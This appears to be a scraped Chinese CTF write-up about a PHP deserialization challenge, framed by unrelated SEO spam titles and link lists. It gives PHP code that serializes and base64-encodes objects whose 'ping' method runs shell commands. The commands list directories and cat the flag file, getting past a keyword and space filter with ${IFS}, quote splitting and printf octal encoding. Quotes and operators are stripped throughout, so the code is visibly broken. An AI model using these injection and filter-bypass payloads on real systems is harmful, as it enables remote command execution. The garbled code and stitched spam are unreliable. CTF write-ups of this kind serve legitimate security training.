当前位置: 首页 > news >正文

2014网站设计趋势给关亨做网站的设计公司

2014网站设计趋势,给关亨做网站的设计公司,怎么做网站网站,徐老师在那个网站做发视频开启场景 整体来说是创建了一个case类#xff0c;然后可接受post传来的ctf的值#xff0c;并对其进行base64解码以及反序列化。所以我们能控制ctf变量。 先看__wakeup方法#xff0c;该方法使用waf方法对$arg中的内容进行了防护#xff0c;过滤掉了| ; 空格 / cat f… 开启场景 整体来说是创建了一个case类然后可接受post传来的ctf的值并对其进行base64解码以及反序列化。所以我们能控制ctf变量。 先看__wakeup方法该方法使用waf方法对$arg中的内容进行了防护过滤掉了| ; 空格 / cat flag tac php ls。再看__destruct方法该方法检测ping是否在$method中并调用了名为$method的方法且以数组$arg中的值作为参数。接着看ping方法该方法的结构为将输入参数作为外部命令进行执行并返回输出结果。该函数实现了作为一个webshell的基本条件。综合来看就是在通过$method和__construct来调用构造的ping方法接着通过$args来作为输入口进行命令的输入。 查看目录文件 写一段序列化代码对 ls 命令序列化之后再 base64 编码 ?phpclass ease{private $method;private $args;function __construct($method, $args) {$this-method $method;$this-args $args;}} $a new ease(ping,array(ls)); $b serialize($a); echo $b; echo/br; echo base64_encode($b); ? 使用 php在线编译工具编译之后得到了一串 base64 编码 在场景页面打开 F12 使用 hackbar 插件发送post 请求 发现了有一个flag_1s_here文件夹 查看flag_1s_here文件夹 再用序列化代码重复上述操作 ?php class ease{private $method;private $args;function __construct($method, $args) {$this-method $method;$this-args $args;}}$onew ease(ping,array(ls${IFS}flag_1s_here)); $s serialize($o); echo base64_encode($s); ? 再编译得到了 base64 编码 再发送 post 请求 发现了一个flag_831b69012c67b35f.php 文件 查看flag_831b69012c67b35f.php flagcatflagphp都可以用双引号绕过空格用${IFS}绕过/要用printf及$()绕过。 ?phpclass ease{ private $method; private $args; function __construct($method, $args) {$this-method $method;$this-args $args; }} $a new ease(ping,array(cat${IFS}flag_1s_here$(printf${IFS}\57)flag_831b69012c67b35f.php)); $b serialize($a); echo $b; echo/br; echo base64_encode($b); ? 再编译 再发送 post 请求 或者直接对整个要执行的命令用printf及$绕过flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以 ?phpclass ease{private $method; private $args; function __construct($method, $args) {$this-method $method;$this-args $args; }} $a new ease(ping,array($(printf${IFS}\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160))); $b serialize($a); echo $b; echo/br; echo base64_encode($b); ? 最终二者都发现了 flag cyberpeace{90c18db4e46c6499d6e25e37c7babaf9}
http://www.sczhlp.com/news/220993/

相关文章:

  • 网站 用php asp源码 比较好私家网站ip地址大全
  • 单位网站建设汇报材料阿里邮箱企业登录入口
  • ESP32 + INMP441数字麦克风 可以做哪些有趣的应用
  • Solon v3.4.7, v3.5.6, v3.6.1 发布(国产优秀应用开发框架)
  • 网站优化效果查询网站微信收款二维码怎么做
  • 设计师用的素材网站有哪些个人站长和企业网站
  • 网站建设平台计划书python网站建设
  • 网站开发的账务处理电子商务网站建设方案的总结
  • 南京做代账会计在哪个网站上找免费手机图片编辑器
  • 哪里可以做营销型网站建筑公司财务做账流程
  • 学习建设网站简约个人网站模板
  • 深圳网站开发制作建设网站需要的材料
  • jsp网站开发 英文wordpress统计和谷歌不同
  • 电子商务网站经营性icpwordpress 子夜面
  • 网站验收标准网站建设 报告
  • 手机网站添加微信方式关于企业网站建设的提案
  • 购物网站开发历史网站开发需要了解的知识
  • 网站推广指标包括顺昌网站建设
  • 广州商城建站青岛做网站公司电话
  • 网站建设推广重要性本地网站建设流程
  • 北京怎样做企业网站代理一件代发
  • 百度站长平台网页手机银川市建设局网站
  • 做企业展示型网站的好处网站建设需求确认书
  • 做网站投资要多少钱兰州做网站企业
  • 沈阳计算机培训短期速成班网站搜索优化方案
  • 商业网站建设举例wordpress更换logo
  • 北京上海网站建设公司哪家好网站页面设计稿
  • app网站开发多少钱wordpress的框架
  • 舟山外贸营销网站建站域名备案 网站备案
  • 意外险平台服务网站wordpress运行速度